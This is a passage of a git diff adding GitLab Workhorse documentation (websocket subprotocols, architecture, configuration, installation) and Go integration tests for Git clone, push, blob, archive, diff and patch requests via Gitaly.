+Workhorse will automatically reply to any websocket ping frame
+sent by the channel, to avoid being disconnected.
+
+Currently, Workhorse only supports the following subprotocols.
+Supporting new deployment services will require new subprotocols
+to be supported:
+
+### `channel.k8s.io`
+
+Used by Kubernetes, this subprotocol defines a simple multiplexed
+channel.
+
+Control frames have their usual meanings. `TextMessage` frames are
+invalid. `BinaryMessage` frames represent I/O to a specific file
+descriptor.
+
+The first byte of each `BinaryMessage` frame represents the file
+descriptor (fd) number, as a `uint8` (so the value `0x00` corresponds
+to fd 0, `STDIN`, while `0x01` corresponds to fd 1, `STDOUT`).
+
+The remaining bytes represent arbitrary data. For frames received
+from the server, they are bytes that have been received from that
+fd. For frames sent to the server, they are bytes that should be
+written to that fd.
+
+### `base64.channel.k8s.io`
+
+Also used by Kubernetes, this subprotocol defines a similar multiplexed
+channel to `channel.k8s.io`. The main differences are:
+
+* `TextMessage` frames are valid, rather than `BinaryMessage` frames.
+* The first byte of each `TextMessage` frame represents the file
+ descriptor as a numeric UTF-8 character, so the character `U+0030`,
+ or "0", is fd 0, STDIN).
+* The remaining bytes represent base64-encoded arbitrary data.
+
diff --git a/workhorse/doc/architecture/gitlab_features.md b/workhorse/doc/architecture/gitlab_features.md
new file mode 100644
index 00000000000..2d3ca78f5e8
--- /dev/null
+++ b/workhorse/doc/architecture/gitlab_features.md
@@ -0,0 +1,69 @@
+# Features that rely on Workhorse
+
+Workhorse itself is not a feature, but there are several features in
+GitLab that would not work efficiently without Workhorse.
+
+To put the efficiency benefit in context, consider that in 2020Q3 on
+GitLab.com [we see][thanos] Rails application threads using on average
+about 200MB of RSS vs about 200KB for Workhorse goroutines.
+
+Examples of features that rely on Workhorse:
+
+## 1. `git clone` and `git push` over HTTP
+
+Git clone, pull and push are slow because they transfer large amounts
+of data and because each is CPU intensive on the GitLab side. Without
+Workhorse, HTTP access to Git repositories would compete with regular
+web access to the application, requiring us to run way more Rails
+application servers.
+
+## 2. CI runner long polling
+
+GitLab CI runners fetch new CI jobs by polling the GitLab server.
+Workhorse acts as a kind of "waiting room" where CI runners can sit
+and wait for new CI jobs. Because of Go's efficiency we can fit a lot
+of runners in the waiting room at little cost. Without this waiting
+room mechanism we would have to add a lot more Rails server capacity.
+
+## 3. File uploads and downloads
+
+File uploads and downloads may be slow either because the file is
+large or because the user's connection is slow. Workhorse can handle
+the slow part for Rails. This improves the efficiency of features such
+as CI artifacts, package repositories, LFS objects, etc.
+
+## 4. Websocket proxying
+
+Features such as the web terminal require a long lived connection
+between the user's web browser and a container inside GitLab that is
+not directly accessible from the internet. Dedicating a Rails
+application thread to proxying such a connection would cost much more
+memory than it costs to have Workhorse look after it.
+
+## Quick facts (how does Workhorse work)
+
+- Workhorse can handle some requests without involving Rails at all:
+ for example, JavaScript files and CSS files are served straight
+ from disk.
+- Workhorse can modify responses sent by Rails: for example if you use
+ `send_file` in Rails then GitLab Workhorse will open the file on
+ disk and send its contents as the response body to the client.
+- Workhorse can take over requests after asking permission from Rails.
+ Example: handling `git clone`.
+- Workhorse can modify requests before passing them to Rails. Example:
+ when handling a Git LFS upload Workhorse first asks permission from
+ Rails, then it stores the request body in a tempfile, then it sends
+ a modified request containing the tempfile path to Rails.
+- Workhorse can manage long-lived WebSocket connections for Rails.
+ Example: handling the terminal websocket for environments.
+- Workhorse does not connect to PostgreSQL, only to Rails and (optionally) Redis.
+- We assume that all requests that reach Workhorse pass through an
+ upstream proxy such as NGINX or Apache first.
+- Workhorse does not accept HTTPS connections.
+- Workhorse does not clean up idle client connections.
+- We assume that all requests to Rails pass through Workhorse.
+
+For more information see ['A brief history of GitLab Workhorse'][brief-history-blog].
+
+[thanos]: https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(ruby_process_resident_memory_bytes%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)%20%2F%20sum(puma_max_threads%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)&g0.tab=1&g1.range_input=1h&g1.max_source_resolution=0s&g1.expr=sum(go_memstats_sys_bytes%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)%2Fsum(go_goroutines%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)&g1.tab=1
+[brief-history-blog]: https://about.gitlab.com/2016/04/12/a-brief-history-of-gitlab-workhorse/
diff --git a/workhorse/doc/channel.md b/workhorse/doc/channel.md
new file mode 100644
index 00000000000..68553170775
--- /dev/null
+++ b/workhorse/doc/channel.md
@@ -0,0 +1 @@
+This file was moved to [`architecture/channel.md`](doc/architecture/channel.md).
diff --git a/workhorse/doc/development/new_features.md b/workhorse/doc/development/new_features.md
new file mode 100644
index 00000000000..410e608be3b
--- /dev/null
+++ b/workhorse/doc/development/new_features.md
@@ -0,0 +1,41 @@
+## Adding new features to Workhorse
+
+GitLab Workhorse is a smart reverse proxy for GitLab. It handles
+"long" HTTP requests such as file downloads, file uploads, Git
+push/pull and Git archive downloads.
+
+Workhorse itself is not a feature, but there are [several features in GitLab](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/master/doc/architecture/gitlab_features.md) that would not work efficiently without Workhorse.
+
+At a first glance, it may look like Workhorse is just a pipeline for processing HTTP streams so that you can reduce the amount of logic in your Ruby on Rails controller, but there are good reasons to avoid treating it like that.
+
+Engineers embarking on the quest of offloading a feature to Workhorse often find that the endeavor is much higher than what originally anticipated. In part because of the new programming language (only a few engineers at GitLab are Go developers), in part because of the demanding requirements for Workhorse. Workhorse is stateless, memory and disk usage must be kept under tight control, and the request should not be slowed down in the process.
+
+## Can I add a new feature to Workhorse?
+
+We suggest to follow this route only if absolutely necessary and no other options are available.
+
+Splitting a feature between the Rails code-base and Workhorse is deliberately choosing to introduce technical debt. It adds complexity to the system and coupling between the two components.
+
+* Building features using Workhorse has a considerable complexity cost, so you should prefer designs based on Rails requests and Sidekiq jobs.
+* Even when using Rails+Sidekiq is "more work" than using Rails+Workhorse, Rails+Sidekiq is easier to maintain in the long term because Workhorse is unique to GitLab while Rails+Sidekiq is an industry standard.
+* For "global" behaviors around web requests consider using a Rack middleware instead of Workhorse.
+* Generally speaking, we should only use Rails+Workhorse if the HTTP client expects behavior that is not reasonable to implement in Rails, like "long" requests.
+
+## What is a "long" request?
+
+There is one order of magnitude between Workhorse and puma RAM usage. Having connection open for a period longer than milliseconds is a problem because of the amount of RAM it monopolizes once it reaches the Ruby on Rails controller.
+
+So far we identified two classes of "long" requests: data transfers and HTTP long polling.
+
+`git push`, `git pull`, uploading or downloading an artifact, the CI runner waiting for a new job are all good examples of long requests.
+
+With the rise of cloud-native installations, Workhorse's feature-set was extended to add object storage direct-upload, to get rid of the shared Network File System (NFS) drives.
+
+In 2020 @nolith presented at FOSDEM a talk titled [_Speed up the monolith. Building a smart reverse proxy in Go_](https://archive.fosdem.org/2020/schedule/event/speedupmonolith/).
+You can watch the recording for more details on the history of Workhorse and the NFS removal.
+
+[Uploads development documentation]( https://docs.gitlab.com/ee/development/uploads.html)
+contains the most common use-cases for adding a new type of upload and may answer all of your questions.
+
+If you still think we should add a new feature to Workhorse, please open an issue explaining **what you want to implement** and **why it can't be implemented in our ruby code-base**. Workhorse maintainers will be happy to help you assessing the situation.
+
diff --git a/workhorse/doc/development/tests.md b/workhorse/doc/development/tests.md
new file mode 100644
index 00000000000..82f74e8656b
--- /dev/null
+++ b/workhorse/doc/development/tests.md
@@ -0,0 +1,17 @@
+# Testing your code
+
+Run the tests with:
+
+```
+make clean test
+```
+
+## Coverage / what to test
+
+Each feature in GitLab Workhorse should have an integration test that
+verifies that the feature 'kicks in' on the right requests and leaves
+other requests unaffected. It is better to also have package-level tests
+for specific behavior but the high-level integration tests should have
+the first priority during development.
+
+It is OK if a feature is only covered by integration tests.
diff --git a/workhorse/doc/operations/configuration.md b/workhorse/doc/operations/configuration.md
new file mode 100644
index 00000000000..bc53df3acab
--- /dev/null
+++ b/workhorse/doc/operations/configuration.md
@@ -0,0 +1,217 @@
+# Workhorse configuration
+
+For historical reasons Workhorse uses both command line flags, a configuration file and environment variables.
+
+All new configuration options that get added to Workhorse should go into the configuration file.
+
+## CLI options
+
+```
+ gitlab-workhorse [OPTIONS]
+
+Options:
+ -apiCiLongPollingDuration duration
+ Long polling duration for job requesting for runners (default 50s - enabled) (default 50ns)
+ -apiLimit uint
+ Number of API requests allowed at single time
+ -apiQueueDuration duration
+ Maximum queueing duration of requests (default 30s)
+ -apiQueueLimit uint
+ Number of API requests allowed to be queued
+ -authBackend string
+ Authentication/authorization backend (default "http://localhost:8080")
+ -authSocket string
+ Optional: Unix domain socket to dial authBackend at
+ -cableBackend string
+ Optional: ActionCable backend (default authBackend)
+ -cableSocket string
+ Optional: Unix domain socket to dial cableBackend at (default authSocket)
+ -config string
+ TOML file to load config from
+ -developmentMode
+ Allow the assets to be served from Rails app
+ -documentRoot string
+ Path to static files content (default "public")
+ -listenAddr string
+ Listen address for HTTP server (default "localhost:8181")
+ -listenNetwork string
+ Listen 'network' (tcp, tcp4, tcp6, unix) (default "tcp")
+ -listenUmask int
+ Umask for Unix socket
+ -logFile string
+ Log file location
+ -logFormat string
+ Log format to use defaults to text (text, json, structured, none) (default "text")
+ -pprofListenAddr string
+ pprof listening address, e.g. 'localhost:6060'
+ -prometheusListenAddr string
+ Prometheus listening address, e.g. 'localhost:9229'
+ -proxyHeadersTimeout duration
+ How long to wait for response headers when proxying the request (default 5m0s)
+ -secretPath string
+ File with secret key to authenticate with authBackend (default "./.gitlab_workhorse_secret")
+ -version
+ Print version and exit
+```
+
+The 'auth backend' refers to the GitLab Rails application. The name is
+a holdover from when GitLab Workhorse only handled Git push/pull over
+HTTP.
+
+GitLab Workhorse can listen on either a TCP or a Unix domain socket. It
+can also open a second listening TCP listening socket with the Go
+[net/http/pprof profiler server](http://golang.org/pkg/net/http/pprof/).
+
+GitLab Workhorse can listen on redis events (currently only builds/register
+for runners). This requires you to pass a valid TOML config file via
+`-config` flag.
+For regular setups it only requires the following (replacing the string
+with the actual socket)
+
+## Redis
+
+GitLab Workhorse integrates with Redis to do long polling for CI build
+requests. This is configured via two things:
+
+- Redis settings in the TOML config file
+- The `-apiCiLongPollingDuration` command line flag to control polling
+ behavior for CI build requests
+
+It is OK to enable Redis in the config file but to leave CI polling
+disabled; this just results in an idle Redis pubsub connection. The
+opposite is not possible: CI long polling requires a correct Redis
+configuration.
+
+Below we discuss the options for the `[redis]` section in the config
+file.
+
+```
+[redis]
+URL = "unix:///var/run/gitlab/redis.sock"
+Password = "my_awesome_password"
+Sentinel = [ "tcp://sentinel1:23456", "tcp://sentinel2:23456" ]
+SentinelMaster = "mymaster"
+```
+
+- `URL` takes a string in the format `unix://path/to/redis.sock` or
+`tcp://host:port`.
+- `Password` is only required if your redis instance is password-protected
+- `Sentinel` is used if you are using Sentinel.
+ *NOTE* that if both `Sentinel` and `URL` are given, only `Sentinel` will be used
+
+Optional fields are as follows:
+```
+[redis]
+DB = 0
+ReadTimeout = "1s"
+KeepAlivePeriod = "5m"
+MaxIdle = 1
+MaxActive = 1
+```
+
+- `DB` is the Database to connect to. Defaults to `0`
+- `ReadTimeout` is how long a redis read-command can take. Defaults to `1s`
+- `KeepAlivePeriod` is how long the redis connection is to be kept alive without anything flowing through it. Defaults to `5m`
+- `MaxIdle` is how many idle connections can be in the redis-pool at once. Defaults to 1
+- `MaxActive` is how many connections the pool can keep. Defaults to 1
+
+## Relative URL support
+
+If you are mounting GitLab at a relative URL, e.g.
+`example.com/gitlab`, then you should also use this relative URL in
+the `authBackend` setting:
+
+```
+gitlab-workhorse -authBackend http://localhost:8080/gitlab
+```
+
+## Interaction of authBackend and authSocket
+
+The interaction between `authBackend` and `authSocket` can be a bit
+confusing. It comes down to: if `authSocket` is set it overrides the
+_host_ part of `authBackend` but not the relative path.
+
+In table form:
+
+|authBackend|authSocket|Workhorse connects to?|Rails relative URL|
+|---|---|---|---|
+|unset|unset|`localhost:8080`|`/`|
+|`http://localhost:3000`|unset|`localhost:3000`|`/`|
+|`http://localhost:3000/gitlab`|unset|`localhost:3000`|`/gitlab`|
+|unset|`/path/to/socket`|`/path/to/socket`|`/`|
+|`http://localhost:3000`|`/path/to/socket`|`/path/to/socket`|`/`|
+|`http://localhost:3000/gitlab`|`/path/to/socket`|`/path/to/socket`|`/gitlab`|
+
+The same applies to `cableBackend` and `cableSocket`.
+
+## Error tracking
+
+GitLab-Workhorse supports remote error tracking with
+[Sentry](https://sentry.io). To enable this feature set the
+`GITLAB_WORKHORSE_SENTRY_DSN` environment variable.
+You can also set the `GITLAB_WORKHORSE_SENTRY_ENVIRONMENT` environment variable to
+use the Sentry environment functionality to separate staging, production and
+development.
+
+Omnibus (`/etc/gitlab/gitlab.rb`):
+
+```
+gitlab_workhorse['env'] = {
+ 'GITLAB_WORKHORSE_SENTRY_DSN' => 'https://foobar'
+ 'GITLAB_WORKHORSE_SENTRY_ENVIRONMENT' => 'production'
+}
+```
+
+Source installations (`/etc/default/gitlab`):
+
+```
+export GITLAB_WORKHORSE_SENTRY_DSN='https://foobar'
+export GITLAB_WORKHORSE_SENTRY_ENVIRONMENT='production'
+```
+
+## Distributed Tracing
+
+Workhorse supports distributed tracing through [LabKit][] using [OpenTracing APIs](https://opentracing.io).
+
+By default, no tracing implementation is linked into the binary, but different OpenTracing providers can be linked in using [build tags][build-tags]/[build constraints][build-tags]. This can be done by setting the `BUILD_TAGS` make variable.
+
+For more details of the supported providers, see LabKit, but as an example, for Jaeger tracing support, include the tags: `BUILD_TAGS="tracer_static tracer_static_jaeger"`.
+
+```shell
+make BUILD_TAGS="tracer_static tracer_static_jaeger"
+```
+
+Once Workhorse is compiled with an opentracing provider, the tracing configuration is configured via the `GITLAB_TRACING` environment variable.
+
+For example:
+
+```shell
+GITLAB_TRACING=opentracing://jaeger ./gitlab-workhorse
+```
+
+## Continuous Profiling
+
+Workhorse supports continuous profiling through [LabKit][] using [Stackdriver Profiler](https://cloud.google.com/profiler).
+
+By default, the Stackdriver Profiler implementation is linked in the binary using [build tags][build-tags], though it's not
+required and can be skipped.
+
+For example:
+
+```shell
+make BUILD_TAGS=""
+```
+
+Once Workhorse is compiled with Continuous Profiling, the profiler configuration can be set via `GITLAB_CONTINUOUS_PROFILING`
+environment variable.
+
+For example:
+
+```shell
+GITLAB_CONTINUOUS_PROFILING="stackdriver?service=workhorse&service_version=1.0.1&project_id=test-123 ./gitlab-workhorse"
+```
+
+More information about see the [LabKit monitoring docs](https://gitlab.com/gitlab-org/labkit/-/blob/master/monitoring/doc.go).
+
+[LabKit]: https://gitlab.com/gitlab-org/labkit/
+[build-tags]: https://golang.org/pkg/go/build/#hdr-Build_Constraints
diff --git a/workhorse/doc/operations/install.md b/workhorse/doc/operations/install.md
new file mode 100644
index 00000000000..28efc407515
--- /dev/null
+++ b/workhorse/doc/operations/install.md
@@ -0,0 +1,44 @@
+# Installation
+
+To install GitLab Workhorse you need [Go 1.13 or
+newer](https://golang.org/dl) and [GNU
+Make](https://www.gnu.org/software/make/).
+
+To install into `/usr/local/bin` run `make install`.
+
+```
+make install
+```
+
+To install into `/foo/bin` set the PREFIX variable.
+
+```
+make install PREFIX=/foo
+```
+
+On some operating systems, such as FreeBSD, you may have to use
+`gmake` instead of `make`.
+
+*NOTE*: Some features depends on build tags, make sure to check
+[Workhorse configuration](doc/operations/configuration.md) to enable them.
+
+## Run time dependencies
+
+### Exiftool
+
+Workhorse uses [exiftool](https://www.sno.phy.queensu.ca/~phil/exiftool/) for
+removing EXIF data (which may contain sensitive information) from uploaded
+images. If you installed GitLab:
+
+- Using the Omnibus package, you're all set.
+ *NOTE* that if you are using CentOS Minimal, you may need to install `perl`
+ package: `yum install perl`
+- From source, make sure `exiftool` is installed:
+
+ ```sh
+ # Debian/Ubuntu
+ sudo apt-get install libimage-exiftool-perl
+
+ # RHEL/CentOS
+ sudo yum install perl-Image-ExifTool
+ ```
diff --git a/workhorse/gitaly_integration_test.go b/workhorse/gitaly_integration_test.go
new file mode 100644
index 00000000000..418d9589235
--- /dev/null
+++ b/workhorse/gitaly_integration_test.go
@@ -0,0 +1,357 @@
+// Tests in this file need access to a real Gitaly server to run. The address
+// is supplied via the GITALY_ADDRESS environment variable
+package main
+
+import (
+ "archive/tar"
+ "bufio"
+ "bytes"
+ "context"
+ "fmt"
+ "os"
+ "os/exec"
+ "path"
+ "regexp"
+ "strconv"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+var (
+ gitalyAddress string
+ jsonGitalyServer string
+)
+
+func init() {
+ gitalyAddress = os.Getenv("GITALY_ADDRESS")
+ jsonGitalyServer = fmt.Sprintf(`"GitalyServer":{"Address":"%s", "Token": ""}`, gitalyAddress)
+}
+
+func skipUnlessRealGitaly(t *testing.T) {
+ t.Log(gitalyAddress)
+ if gitalyAddress != "" {
+ return
+ }
+
+ t.Skip(`Please set GITALY_ADDRESS="..." to run Gitaly integration tests`)
+}
+
+func realGitalyAuthResponse(apiResponse *api.Response) *api.Response {
+ apiResponse.GitalyServer.Address = gitalyAddress
+
+ return apiResponse
+}
+
+func realGitalyOkBody(t *testing.T) *api.Response {
+ return realGitalyAuthResponse(gitOkBody(t))
+}
+
+func ensureGitalyRepository(t *testing.T, apiResponse *api.Response) error {
+ ctx, namespace, err := gitaly.NewNamespaceClient(context.Background(), apiResponse.GitalyServer)
+ if err != nil {
+ return err
+ }
+ ctx, repository, err := gitaly.NewRepositoryClient(ctx, apiResponse.GitalyServer)
+ if err != nil {
+ return err
+ }
+
+ // Remove the repository if it already exists, for consistency
+ rmNsReq := &gitalypb.RemoveNamespaceRequest{
+ StorageName: apiResponse.Repository.StorageName,
+ Name: apiResponse.Repository.RelativePath,
+ }
+ _, err = namespace.RemoveNamespace(ctx, rmNsReq)
+ if err != nil {
+ return err
+ }
+
+ createReq := &gitalypb.CreateRepositoryFromURLRequest{
+ Repository: &apiResponse.Repository,
+ Url: "https://gitlab.com/gitlab-org/gitlab-test.git",
+ }
+
+ _, err = repository.CreateRepositoryFromURL(ctx, createReq)
+ return err
+}
+
+func TestAllowedClone(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ // Prepare test server and backend
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Do the git clone
+ require.NoError(t, os.RemoveAll(scratchDir))
+ cloneCmd := exec.Command("git", "clone", fmt.Sprintf("%s/%s", ws.URL, testRepo), checkoutDir)
+ runOrFail(t, cloneCmd)
+
+ // We may have cloned an 'empty' repository, 'git log' will fail in it
+ logCmd := exec.Command("git", "log", "-1", "--oneline")
+ logCmd.Dir = checkoutDir
+ runOrFail(t, logCmd)
+}
+
+func TestAllowedShallowClone(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ // Prepare test server and backend
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Shallow git clone (depth 1)
+ require.NoError(t, os.RemoveAll(scratchDir))
+ cloneCmd := exec.Command("git", "clone", "--depth", "1", fmt.Sprintf("%s/%s", ws.URL, testRepo), checkoutDir)
+ runOrFail(t, cloneCmd)
+
+ // We may have cloned an 'empty' repository, 'git log' will fail in it
+ logCmd := exec.Command("git", "log", "-1", "--oneline")
+ logCmd.Dir = checkoutDir
+ runOrFail(t, logCmd)
+}
+
+func TestAllowedPush(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ // Prepare the test server and backend
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Perform the git push
+ pushCmd := exec.Command("git", "push", fmt.Sprintf("%s/%s", ws.URL, testRepo), fmt.Sprintf("master:%s", newBranch()))
+ pushCmd.Dir = checkoutDir
+ runOrFail(t, pushCmd)
+}
+
+func TestAllowedGetGitBlob(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ // the LICENSE file in the test repository
+ oid := "50b27c6518be44c42c4d87966ae2481ce895624c"
+ expectedBody := "The MIT License (MIT)"
+ bodyLen := 1075
+
+ jsonParams := fmt.Sprintf(
+ `{
+ %s,
+ "GetBlobRequest":{
+ "repository":{"storage_name":"%s", "relative_path":"%s"},
+ "oid":"%s",
+ "limit":-1
+ }
+ }`,
+ jsonGitalyServer, apiResponse.Repository.StorageName, apiResponse.Repository.RelativePath, oid,
+ )
+
+ resp, body, err := doSendDataRequest("/something", "git-blob", jsonParams)
+ require.NoError(t, err)
+ shortBody := string(body[:len(expectedBody)])
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, shortBody, "GET %q: response body", resp.Request.URL)
+ testhelper.RequireResponseHeader(t, resp, "Content-Length", strconv.Itoa(bodyLen))
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resp.Request.URL)
+}
+
+func TestAllowedGetGitArchive(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ archivePath := path.Join(scratchDir, "my/path")
+ archivePrefix := "repo-1"
+
+ msg := serializedProtoMessage("GetArchiveRequest", &gitalypb.GetArchiveRequest{
+ Repository: &apiResponse.Repository,
+ CommitId: "HEAD",
+ Prefix: archivePrefix,
+ Format: gitalypb.GetArchiveRequest_TAR,
+ Path: []byte("files"),
+ })
+ jsonParams := buildGitalyRPCParams(gitalyAddress, rpcArg{"ArchivePath", archivePath}, msg)
+
+ resp, body, err := doSendDataRequest("/archive.tar", "git-archive", jsonParams)
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resp.Request.URL)
+
+ // Ensure the tar file is readable
+ foundEntry := false
+ tr := tar.NewReader(bytes.NewReader(body))
+ for {
+ hdr, err := tr.Next()
+ if err != nil {
+ break
+ }
+
+ if hdr.Name == archivePrefix+"/" {
+ foundEntry = true
+ break
+ }
+ }
+
+ require.True(t, foundEntry, "Couldn't find %v directory entry", archivePrefix)
+}
+
+func TestAllowedGetGitArchiveOldPayload(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ repo := apiResponse.Repository
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ archivePath := path.Join(scratchDir, "my/path")
+ archivePrefix := "repo-1"
+
+ jsonParams := fmt.Sprintf(
+ `{
+ %s,
+ "GitalyRepository":{"storage_name":"%s","relative_path":"%s"},
+ "ArchivePath":"%s",
+ "ArchivePrefix":"%s",
+ "CommitId":"%s"
+ }`,
+ jsonGitalyServer, repo.StorageName, repo.RelativePath, archivePath, archivePrefix, "HEAD",
+ )
+
+ resp, body, err := doSendDataRequest("/archive.tar", "git-archive", jsonParams)
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resp.Request.URL)
+
+ // Ensure the tar file is readable
+ foundEntry := false
+ tr := tar.NewReader(bytes.NewReader(body))
+ for {
+ hdr, err := tr.Next()
+ if err != nil {
+ break
+ }
+
+ if hdr.Name == archivePrefix+"/" {
+ foundEntry = true
+ break
+ }
+ }
+
+ require.True(t, foundEntry, "Couldn't find %v directory entry", archivePrefix)
+}
+
+func TestAllowedGetGitDiff(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ expectedBody := "diff --git a/README.md b/README.md"
+
+ msg := serializedMessage("RawDiffRequest", &gitalypb.RawDiffRequest{
+ Repository: &apiResponse.Repository,
+ LeftCommitId: leftCommit,
+ RightCommitId: rightCommit,
+ })
+ jsonParams := buildGitalyRPCParams(gitalyAddress, msg)
+
+ resp, body, err := doSendDataRequest("/something", "git-diff", jsonParams)
+ require.NoError(t, err)
+ shortBody := string(body[:len(expectedBody)])
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, shortBody, "GET %q: response body", resp.Request.URL)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resp.Request.URL)
+}
+
+func TestAllowedGetGitFormatPatch(t *testing.T) {
+ skipUnlessRealGitaly(t)
+
+ // Create the repository in the Gitaly server
+ apiResponse := realGitalyOkBody(t)
+ require.NoError(t, ensureGitalyRepository(t, apiResponse))
+
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ msg := serializedMessage("RawPatchRequest", &gitalypb.RawPatchRequest{
+ Repository: &apiResponse.Repository,
+ LeftCommitId: leftCommit,
+ RightCommitId: rightCommit,
+ })
+ jsonParams := buildGitalyRPCParams(gitalyAddress, msg)
+
+ resp, body, err := doSendDataRequest("/something", "git-format-patch", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resp.Request.URL)
+
+ requirePatchSeries(
+ t,
+ body,
+ "372ab6950519549b14d220271ee2322caa44d4eb",
+ "57290e673a4c87f51294f5216672cbc58d485d25",
+ "41ae11ba5d091d73d5de671f6fa7d1a4539e979e",
+ "742518b2be68fc750bb4c357c0df821a88113286",
+ rightCommit,
+ )
+}
+
+var extractPatchSeriesMatcher = regexp.MustCompile(`^From (\w+)`)
+
+// RequirePatchSeries takes a `git format-patch` blob, extracts the From xxxxx
+// lines and compares the SHAs to expected list.
+func requirePatchSeries(t *testing.T, blob []byte, expected ...string) {
+ t.Helper()
+ var actual []string
+ footer := make([]string, 3)
+
+ scanner := bufio.NewScanner(bytes.NewReader(blob))
+
+ for scanner.Scan() {
+ line := scanner.Text()
+ if matches := extractPatchSeriesMatcher.FindStringSubmatch(line); len(matches) == 2 {
+ actual = append(actual, matches[1])
+ }
+ footer = []string{footer[1], footer[2], line}
+ }
+
+ require.Equal(t, strings.Join(expected, "\n"), strings.Join(actual, "\n"), "patch series")
+
+ // Check the last returned patch is complete
+ // Don't assert on the final line, it is a git version
+ require.Equal(t, "-- ", footer[0], "end of patch marker")
+}
diff --git a/workhorse/gitaly_test.go b/workhorse/gitaly_test.go
new file mode 100644
index 00000000000..95d6907ac6a
--- /dev/null
+++ b/workhorse/gitaly_test.go
@@ -0,0 +1,696 @@
+package main
+
+import (
+ "bytes"
+ "encoding/base64"
+ "encoding/json"
+ "fmt"
+ "io/ioutil"
+ "math/rand"
+ "net"
+ "net/http"
+ "os"
+ "os/exec"
+ "path"
+ "strings"
+ "sync"
+ "testing"
+ "time"
+
+ "github.com/golang/protobuf/jsonpb" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ "github.com/golang/protobuf/proto" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ "github.com/stretchr/testify/require"
+ "google.golang.org/grpc"
+ "google.golang.org/grpc/codes"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/git"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func TestFailedCloneNoGitaly(t *testing.T) {
+ // Prepare clone directory
+ require.NoError(t, os.RemoveAll(scratchDir))
+
+ authBody := &api.Response{
+ GL_ID: "user-123",
+ GL_USERNAME: "username",
+ // This will create a failure to connect to Gitaly
+ GitalyServer: gitaly.Server{Address: "unix:/nonexistent"},
+ }
+
+ // Prepare test server and backend
+ ts := testAuthServer(t, nil, nil, 200, authBody)
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Do the git clone
+ cloneCmd := exec.Command("git", "clone", fmt.Sprintf("%s/%s", ws.URL, testRepo), checkoutDir)
+ out, err := cloneCmd.CombinedOutput()
+ t.Log(string(out))
+ require.Error(t, err, "git clone should have failed")
+}
+
